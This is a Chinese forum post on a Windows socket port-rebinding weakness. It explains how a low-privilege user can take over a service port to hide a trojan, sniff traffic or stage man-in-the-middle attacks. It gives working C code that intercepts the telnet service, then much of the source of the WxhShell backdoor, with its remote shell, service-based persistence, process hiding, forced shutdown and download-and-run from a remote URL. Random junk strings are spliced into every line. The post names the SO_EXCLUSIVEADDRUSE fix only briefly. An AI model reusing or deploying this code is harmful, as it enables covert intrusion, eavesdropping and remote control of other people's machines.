社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10691阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P/S,dhs(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ndyI sR  
p*jH5h cy  
  saddr.sin_family = AF_INET;  zW?=^bE  
{#t7lV'4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U8aNL sw  
$U&p&pgH=W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n1x3q/~  
rZAP3)dA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4Qi-zNNB  
ra ,.vJuT  
  这意味着什么?意味着可以进行如下的攻击: RP^L.X(7^  
Qp@}v7Due  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >TGc0 z+  
5IgO4<B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D3O)Tj@:}(  
-g"Wi@Qr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DLq'V.M:  
xNJ*TA[+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C szZr>Z  
DEPsud;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M?m@o1\;W  
;iN [du  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 : t D`e<  
wgQx.8 h>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A0ZU #"'/  
z@<jZM  
  #include 6 ZXRb  
  #include ##" Hui  
  #include %4wHiCOg  
  #include    X4k|k>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i"^ y y+  
  int main() -|:mRAe  
  { f?QP(+M5.  
  WORD wVersionRequested; FbCuXS=+`  
  DWORD ret; :@Ml-ZE  
  WSADATA wsaData; xd`\Ai  
  BOOL val; 2p*!up(  
  SOCKADDR_IN saddr; `Gg,oCQg  
  SOCKADDR_IN scaddr; Xag#ZT  
  int err;  bIuOB|  
  SOCKET s; 4^^=^c  
  SOCKET sc; 'kJyE9*xU.  
  int caddsize; k5X-*^U=V}  
  HANDLE mt; _Q*,~ z~  
  DWORD tid;   A*kN I  
  wVersionRequested = MAKEWORD( 2, 2 ); cf\GC2+"^$  
  err = WSAStartup( wVersionRequested, &wsaData ); 1,n\Osd  
  if ( err != 0 ) { S:c d'68D  
  printf("error!WSAStartup failed!\n"); cU "uKR  
  return -1; 5hDm[*83  
  } =|V#~p*  
  saddr.sin_family = AF_INET; +[V.yY/t|>  
   H96|{q=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0J .]`kR  
/vLW{%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h\|T(597.  
  saddr.sin_port = htons(23); 4SIS #m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (Wn^~-`=+  
  { 5"L.C32  
  printf("error!socket failed!\n"); 5QG?*Z~?7  
  return -1; 6^,;^   
  } &3 x [0DV  
  val = TRUE; fHgvh&FU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .bNG:y>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1 l-Y)   
  { 76cT}l&.h8  
  printf("error!setsockopt failed!\n"); !wo  
  return -1; 'On%p|s)H  
  } XrGP]k6.^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L1MG("R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q]Af I(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :d|~k  
]4,eCT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [$`%ve  
  { T@ zV   
  ret=GetLastError(); {Lsl2@22  
  printf("error!bind failed!\n"); H ;)B5C  
  return -1; ,b t j6hg  
  } *~`BG5w  
  listen(s,2); AK&=/[U>  
  while(1) -o@L"C>   
  { ZDmY${J  
  caddsize = sizeof(scaddr); %0%Tp  
  //接受连接请求 se29IhS!e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `ix&j8E22w  
  if(sc!=INVALID_SOCKET) "Ve9\$_s  
  { gvFCsVv<{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cT nC  
  if(mt==NULL) c'wU$xt.w  
  { ;]W@W1)$  
  printf("Thread Creat Failed!\n"); pz]! T'  
  break; |u+!CR  
  } -]Q\G  
  } L.:8qY  
  CloseHandle(mt); _P*QX  
  } l\ Vr D2j8  
  closesocket(s); v4F+^0?  
  WSACleanup(); e s<  
  return 0; LHSbc!Y'.  
  }   eU8p;ajW!L  
  DWORD WINAPI ClientThread(LPVOID lpParam) "NTiQ}i  
  { bbT$$b-  
  SOCKET ss = (SOCKET)lpParam; 6i@* L\ Dl  
  SOCKET sc; \J(kM,ZJ  
  unsigned char buf[4096]; mp z3o\n  
  SOCKADDR_IN saddr; \}_,g  
  long num; ]`M2Kwp  
  DWORD val; S q{@4F}d  
  DWORD ret; aa{+,(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tTWEhHQ`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I{=Yuc  
  saddr.sin_family = AF_INET; oXU b_/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /@I`V?Q!a  
  saddr.sin_port = htons(23); JX{_,2*$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /i#";~sO  
  { 9*r^1PRc  
  printf("error!socket failed!\n"); |#'n VN.;  
  return -1; ?$l|];m)-  
  } l2I%$|)d  
  val = 100; n]i#&[*A(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x,ZF+vE  
  { <. *bJ  
  ret = GetLastError(); ?:G 3U\M  
  return -1; (>NZYPw^3  
  } b`@J"E}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iu3L9UfL[  
  { bkS"]q)>  
  ret = GetLastError(); 'u~0rMe4})  
  return -1; W#=,FZT  
  } );kD0FO1|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -:E~Z_J`  
  { v*%52_   
  printf("error!socket connect failed!\n"); DTSf[zP/  
  closesocket(sc); eTuKu(0 E  
  closesocket(ss); `.J17mQe"  
  return -1; FRQ0t!b<M1  
  } "%\hDL;  
  while(1) ~clX2U8u`  
  { LD1&8kJ*l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )Yv=:+f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?^W1WEBm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M:b#">M  
  num = recv(ss,buf,4096,0); )BvMFwQG  
  if(num>0) dDIR~ !T  
  send(sc,buf,num,0); dvU{U@:sz  
  else if(num==0) Qd{8.lB~LQ  
  break; ixSr*+  
  num = recv(sc,buf,4096,0); }YVF fi~  
  if(num>0) gdA2u;q  
  send(ss,buf,num,0); uYWD.]X;[  
  else if(num==0) @XXPJq;J  
  break; y.c6r> }  
  } _OyQ:>M6P  
  closesocket(ss); DA.k8M  
  closesocket(sc); =$fz</S=J  
  return 0 ; X6r0+D5AvB  
  } ir/uHN@  
e6Y>Bk   
hlB\Xt  
========================================================== WFh.oe8  
-(]C FnD_N  
下边附上一个代码,,WXhSHELL V`1{*PrI@L  
>ItT269G  
========================================================== O ~6%Iz`  
]i@73h YT  
#include "stdafx.h" Z$JJ0X  
>Vjn]V5y  
#include <stdio.h> BEvY&3%l  
#include <string.h> "`V@?+3  
#include <windows.h> @,TIw[p  
#include <winsock2.h> ,>h"~X  
#include <winsvc.h> :sJ7Wok6~  
#include <urlmon.h> d#a/J.Z$A  
gTXpaB<  
#pragma comment (lib, "Ws2_32.lib") Q(nTL WW  
#pragma comment (lib, "urlmon.lib") '<BLkr# @  
ld@+p  
#define MAX_USER   100 // 最大客户端连接数 uC^)#Y\"  
#define BUF_SOCK   200 // sock buffer "TZY)\{L  
#define KEY_BUFF   255 // 输入 buffer M7cD!s@'I  
]690ey$E:j  
#define REBOOT     0   // 重启 in<.0v9w  
#define SHUTDOWN   1   // 关机 .Y;f 9R  
95z|}16UK  
#define DEF_PORT   5000 // 监听端口 = IRot  
*VsVCUCz5*  
#define REG_LEN     16   // 注册表键长度 p%>sc  
#define SVC_LEN     80   // NT服务名长度 XNWtX-[ ^@  
tfGs| x  
// 从dll定义API Zek@xr;]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7,+eG">0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4k<o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vS>'LX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;rT'~?q  
w Wb>V&3  
// wxhshell配置信息 FT- .gi0  
struct WSCFG { P);s0Y|@H  
  int ws_port;         // 监听端口 uI7n{4W*x  
  char ws_passstr[REG_LEN]; // 口令 @F<{/|P  
  int ws_autoins;       // 安装标记, 1=yes 0=no FfJ;r'eGs  
  char ws_regname[REG_LEN]; // 注册表键名 EVX3uC}{  
  char ws_svcname[REG_LEN]; // 服务名 wS*r<zj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y7}Tuy dC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #y:D{%Wp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ls^Z"9P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t^~vi'bB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VO|ECB2e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q%JI-&K  
CLrX!JV>  
}; u[b |QR=5  
XGx[Ny_A2  
// default Wxhshell configuration qgrJi +WZ  
struct WSCFG wscfg={DEF_PORT, oZvG Kf  
    "xuhuanlingzhe", &W@2n&U.q  
    1, ApCU|*r)  
    "Wxhshell", %lHHTZ{+  
    "Wxhshell", ^HC 6v;K  
            "WxhShell Service", e?]5q ez  
    "Wrsky Windows CmdShell Service", W "'6 M=*  
    "Please Input Your Password: ", $y8-JR~  
  1, 1D*=ZkA)  
  "http://www.wrsky.com/wxhshell.exe", 1|MRXK  
  "Wxhshell.exe" ]y0Y(  
    }; }<04\t?  
'I]XX==_  
// 消息定义模块 ODxZO3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WTfjn |a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m\`>N_4*9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e2O6q05 ?Q  
char *msg_ws_ext="\n\rExit."; WA`A/`taT  
char *msg_ws_end="\n\rQuit."; :-1|dE)U  
char *msg_ws_boot="\n\rReboot..."; R/hI XO  
char *msg_ws_poff="\n\rShutdown..."; ~lw9sm*2v2  
char *msg_ws_down="\n\rSave to "; *S.U8;*Xj  
&zEQbHK6  
char *msg_ws_err="\n\rErr!"; Du+W7]yCl  
char *msg_ws_ok="\n\rOK!"; &?@C^0&QV  
==dKC;  
char ExeFile[MAX_PATH]; 1r;zA<<%R  
int nUser = 0; Nc:s+ o  
HANDLE handles[MAX_USER]; .e~"+Pe6b  
int OsIsNt; X;I9\Cp]!  
 /|0-O''  
SERVICE_STATUS       serviceStatus; [;u#79aE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q)k:pQ   
3z8i0  
// 函数声明 !"L.gu-'  
int Install(void); c#n 2 !  
int Uninstall(void); %fj5 ;}E.  
int DownloadFile(char *sURL, SOCKET wsh); }Pcm'o_wT  
int Boot(int flag); %O"8|ZG9{  
void HideProc(void); bKQho31a'  
int GetOsVer(void); IVR%H_uz  
int Wxhshell(SOCKET wsl); 9kL,69d2  
void TalkWithClient(void *cs); pXk^EV0  
int CmdShell(SOCKET sock); UqP{Cyy{  
int StartFromService(void); {&51@UX  
int StartWxhshell(LPSTR lpCmdLine); '~[8>Q>  
WK{`_c U^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KgL!~J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vj*-E  
+?_!8N8  
// 数据结构和表定义 $L/`nd  
SERVICE_TABLE_ENTRY DispatchTable[] = 5ya9VZ5#  
{ ? #K|l*  
{wscfg.ws_svcname, NTServiceMain}, 86ao{l6lC  
{NULL, NULL} a|ufm^ F  
}; 98[uRywI  
/5@YZ?|#2  
// 自我安装 =xI;D,@S  
int Install(void) VBhUh~:Om  
{ Sc<dxY@w7-  
  char svExeFile[MAX_PATH]; 'a~@q~!  
  HKEY key; QYH-"-)  
  strcpy(svExeFile,ExeFile); SDnl^a  
pjeNBSu6  
// 如果是win9x系统,修改注册表设为自启动 z0 "DbZ;d  
if(!OsIsNt) { )jM%bUk,!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R/hf"E1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,-UF5U  
  RegCloseKey(key); OH`a3E{e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iN;Pg _Kq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }[p{%:tP  
  RegCloseKey(key); &.A_d+K&  
  return 0; wi2`5G6|z  
    } ^z?b6kTC  
  } !cW rB9  
} vrs  
else { v:O{"s  
'/\  
// 如果是NT以上系统,安装为系统服务 `+H=3`}X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A7p4M?09  
if (schSCManager!=0) jv)+qmqo!  
{ bvox7V>  
  SC_HANDLE schService = CreateService "HOZ2_(o  
  ( Sn=6[RQ>P  
  schSCManager, 3smkY  
  wscfg.ws_svcname, T4eJ:u*;  
  wscfg.ws_svcdisp, I68u%fCv  
  SERVICE_ALL_ACCESS, Y{Z&W9U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8v$q+Wic  
  SERVICE_AUTO_START, E0Wc8m"  
  SERVICE_ERROR_NORMAL, T7[@ lMa?  
  svExeFile, O NabL.CV  
  NULL, hx$]fvDevD  
  NULL, J)|3jbX"I]  
  NULL, Y>x{ [er  
  NULL, @*;x1A-]V  
  NULL wkg4I.  
  ); |#Gxqq'  
  if (schService!=0) -gn0@hS0  
  { !=9x=  
  CloseServiceHandle(schService); so-5%S  
  CloseServiceHandle(schSCManager); is.t,&H4P]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =EJ&=t  
  strcat(svExeFile,wscfg.ws_svcname); ]7HR U6$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nrEI0E9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :.:^\Q0  
  RegCloseKey(key); 6)INr,d  
  return 0; 8ro`lX*F@2  
    } JE.$]){  
  } $AK ^E6  
  CloseServiceHandle(schSCManager); PGTEIptX7  
} 7oZ :/6_>  
} \u[x<-\/6  
&V38)83a  
return 1; H<Sn p)  
} SmXoNiM"y  
F`D$bE;|  
// 自我卸载 ~Ntk -p  
int Uninstall(void) T3 w%y`K  
{ *C*J1JYp+  
  HKEY key; DB}Uzw|  
6-U_TV  
if(!OsIsNt) {  9q;O`&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (5T>`7g8  
  RegDeleteValue(key,wscfg.ws_regname); !6/UwPs  
  RegCloseKey(key); /@Lk H$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ing'' _  
  RegDeleteValue(key,wscfg.ws_regname); o"z()w~  
  RegCloseKey(key); u>>|ZPe  
  return 0; 3vrVX<_  
  } **q8vhJM  
} @?B+|*cm  
} h,LSqjf "  
else { 5U 84 *RY  
U,rI/'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J( 1Tl  
if (schSCManager!=0) (-C)A-Uo&  
{  A 3 V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C:E f6ZW  
  if (schService!=0) {;$oC4  
  { jz!I +  
  if(DeleteService(schService)!=0) { M5bE5C  
  CloseServiceHandle(schService); d9{lj(2P  
  CloseServiceHandle(schSCManager); r-qe7K@p  
  return 0; _zj^k$ j  
  } ((M,6Q}  
  CloseServiceHandle(schService); b(K"CL\p  
  } /k.0gYD  
  CloseServiceHandle(schSCManager); E '6>3n  
} f3UCELJ  
} KhjC'CU,  
`Vvi]>,cg`  
return 1; ^G4YvS(  
} 4"&-a1N  
(\:Rnl  
// 从指定url下载文件 4Kj.o  
int DownloadFile(char *sURL, SOCKET wsh) c=sV"r?  
{ *Y>w0k  
  HRESULT hr; QK_5gD`$a,  
char seps[]= "/"; D]~K-[V?l  
char *token; rWht},-|1  
char *file; &8IBf8  
char myURL[MAX_PATH]; ^J^,@ Hf_  
char myFILE[MAX_PATH]; QE]'Dc%  
3lF"nv  
strcpy(myURL,sURL); (cj9xROx  
  token=strtok(myURL,seps); 6Zi{gx  
  while(token!=NULL) )zL@h  
  { dGZie .Zx  
    file=token; o2fih%p?1  
  token=strtok(NULL,seps); }aWy#Oe  
  } tLzLO#/n  
eRUdPPq_d  
GetCurrentDirectory(MAX_PATH,myFILE); <Jgcj 4D  
strcat(myFILE, "\\"); :8b'HhjM  
strcat(myFILE, file); #Y5k/NPg  
  send(wsh,myFILE,strlen(myFILE),0); GvVkb=="  
send(wsh,"...",3,0); H-_gd.VD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !Fl'?Kz  
  if(hr==S_OK) g *$2qKm  
return 0; 12`u[O}\}-  
else >axeUd+@i  
return 1; 7|}4UXr7y  
P@N+jS`Vf  
}  /  
9=j9vBV  
// 系统电源模块 oN032o?S  
int Boot(int flag) TgkVd]4%  
{ 6]7csOE  
  HANDLE hToken; k9k39`t  
  TOKEN_PRIVILEGES tkp; 7uR;S:WX  
Y j oe|  
  if(OsIsNt) { <Km9Mq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4  OPY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |4\1V=(  
    tkp.PrivilegeCount = 1; [t4v/vQT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sVyV|!K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r;Sk[Y5#  
if(flag==REBOOT) { u=:f%l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /+*"*Br/  
  return 0; bZ* = fdh  
} ]\*^G@HA2  
else { 3d}v?q78  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NQ{(G8x9  
  return 0; )oIh?-WL  
} v3r3$(Hr  
  } ?V6,>e_+  
  else { #E]K*mE'  
if(flag==REBOOT) { #/>TuJc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =E9\fRGU  
  return 0; YTTyMn  
} %IsodtkDu  
else { f.w",S^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =:rg1wo"c  
  return 0; K<P d.:  
} QFP9"FM5F  
} H )ej]DXy  
gPd K%"B@  
return 1; wI@87&  
} @R&d<^I&M  
'AA9F$Dz  
// win9x进程隐藏模块 atyvo0fNd  
void HideProc(void) v@qP &4Sp  
{ !!C/($  
8}|et~7!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f~VlCdf+  
  if ( hKernel != NULL ) R XCn;nM4  
  { Znb={hh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C]!2   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9q'&tU'a=c  
    FreeLibrary(hKernel); SwOW%o  
  } x;~:p;]J2F  
U WT%0t_T  
return; o]1BWwtY&  
} ]PS`"o,pF$  
9@|52dz%  
// 获取操作系统版本 5%jhVys23  
int GetOsVer(void) <Y yE1 |  
{ (%6fMVp  
  OSVERSIONINFO winfo; |nNcV~%~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S f?;j{?G  
  GetVersionEx(&winfo); Vuz.b.,i`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R*r4)+gd  
  return 1; UF+Qx/4h0  
  else 2>o[  
  return 0; *2h%dT:,%  
} G4(R/<J,BQ  
<K0epED  
// 客户端句柄模块 ?c#s}IH  
int Wxhshell(SOCKET wsl) -Q20af-  
{ 1'&.6{)P  
  SOCKET wsh; Z|t=t"6"  
  struct sockaddr_in client; s+:|b~  
  DWORD myID; n\+ c3  
afrF%!  
  while(nUser<MAX_USER) `;85Mo:qJ  
{ w9'>&W8T  
  int nSize=sizeof(client); "<iH8MzZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *qzdt^[ xo  
  if(wsh==INVALID_SOCKET) return 1; zxn|]P bS  
R,3cJ Y_%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1GYZ1iA  
if(handles[nUser]==0) Yc7 YNC.  
  closesocket(wsh); fl-J:`zyyZ  
else C5~~$7k0  
  nUser++; ;FqmZjm  
  } +[G9PP6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oh{>nwH  
7DAP_C  
  return 0; w5>[hQR\  
} ||:> &  
%0GwO%h},  
// 关闭 socket \OW:-  
void CloseIt(SOCKET wsh) `\( ?^]WLa  
{ cO J`^^P  
closesocket(wsh); d6MWgg  
nUser--; q;68tEupR  
ExitThread(0); B<d=;V  
} LhL |ETrJ  
e\6H.9=  
// 客户端请求句柄 ^*AI19w!Ys  
void TalkWithClient(void *cs) U<'N=#A J  
{ {T8;-H0H  
SW9 C 8Q  
  SOCKET wsh=(SOCKET)cs; 9"P+K.%  
  char pwd[SVC_LEN]; M+%Xq0`T  
  char cmd[KEY_BUFF]; 6 - 3?&+  
char chr[1]; 'C5id7O&  
int i,j; u IXA{89  
)Q=u[ p  
  while (nUser < MAX_USER) { _*AI1/>`  
%Xh}{o$G  
if(wscfg.ws_passstr) { j:%,lcF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $M}"u [Qq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $5XA S  
  //ZeroMemory(pwd,KEY_BUFF); Cfi4~&  
      i=0; BdD]HXB|_  
  while(i<SVC_LEN) { %r|sb=(yT  
YYT;a$GTo  
  // 设置超时 M86"J:\u]  
  fd_set FdRead; p)SW(pS  
  struct timeval TimeOut; *tv&=  
  FD_ZERO(&FdRead); nL?P/ \  
  FD_SET(wsh,&FdRead); A}lxJ5h0  
  TimeOut.tv_sec=8; sTd@/>S?p  
  TimeOut.tv_usec=0; qxI $F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E`j' <#V!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %2:UsI  
]fajj\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |&4A"2QN  
  pwd=chr[0]; Un]wP`  
  if(chr[0]==0xd || chr[0]==0xa) { ;n't:yQW  
  pwd=0; @@H/q  
  break; wXUR9H|0(  
  } k@7#8(3  
  i++; !SK`!/7c?  
    } i`+w.zJOH8  
qiet<F  
  // 如果是非法用户,关闭 socket byI" ?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %1 )c{7  
} dy+A$)gY<  
{|oWU8.l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'ayb`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i@9 qp?eb  
45 ^ Z5t  
while(1) { GFT@Pqq  
_S) K+C|@  
  ZeroMemory(cmd,KEY_BUFF); frcX'M}%  
K3mP6Z#2  
      // 自动支持客户端 telnet标准   ! \s}A7  
  j=0; a &tWMxBr  
  while(j<KEY_BUFF) { 6c!F%xU}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #H7 SLQr\  
  cmd[j]=chr[0]; JLm3qIC  
  if(chr[0]==0xa || chr[0]==0xd) { Dspvc  
  cmd[j]=0; Pyuul4(  
  break; p l^;'|=M  
  } ,6]ID1o:y  
  j++; YH58p&up  
    } %fF,Fnf2  
lZAGoR;0Ra  
  // 下载文件 v(;yy{>8"  
  if(strstr(cmd,"http://")) { ]?]M5rP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z*T41;b  
  if(DownloadFile(cmd,wsh)) #U-y<[ 3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "&H'?N%9Up  
  else A _TaXl(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - G>J  
  } oO;L l?~  
  else { ~2>Adp  
"81'{\(I_  
    switch(cmd[0]) { <6;M\:Y*T  
  !y$##PZ  
  // 帮助 v9H t~\>  
  case '?': { Hx6O Dj[-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KGOhoiR9:C  
    break; }-:B`:K&  
  } [NE!  
  // 安装 cS Lj\'`b  
  case 'i': { q5r7 KYH{  
    if(Install()) (ORbhjl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[Iy6qt  
    else zx<t{e7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J t.<Z&  
    break; 8{0XqE~ix=  
    } SOG(&)b  
  // 卸载 GI{EP&C  
  case 'r': { %!iqJ)*~  
    if(Uninstall()) NUM!'+H_h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Z"cXg^ti  
    else 274j7Y'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8/p ]'BLf  
    break; o;wSG81  
    } [>`.,k  
  // 显示 wxhshell 所在路径 ,W+=N"`a'  
  case 'p': { (su7*$wV  
    char svExeFile[MAX_PATH]; _886>^b@  
    strcpy(svExeFile,"\n\r"); T7i>aM$+  
      strcat(svExeFile,ExeFile); RNB -W%  
        send(wsh,svExeFile,strlen(svExeFile),0);  R<1%Gdz  
    break; rbOJ;CK  
    } >]_6|Wfl  
  // 重启 ri-&3%%z<  
  case 'b': { *b~8`O pa`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x]YzVJ=Y  
    if(Boot(REBOOT)) O: I]v@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F ]X<q uuL  
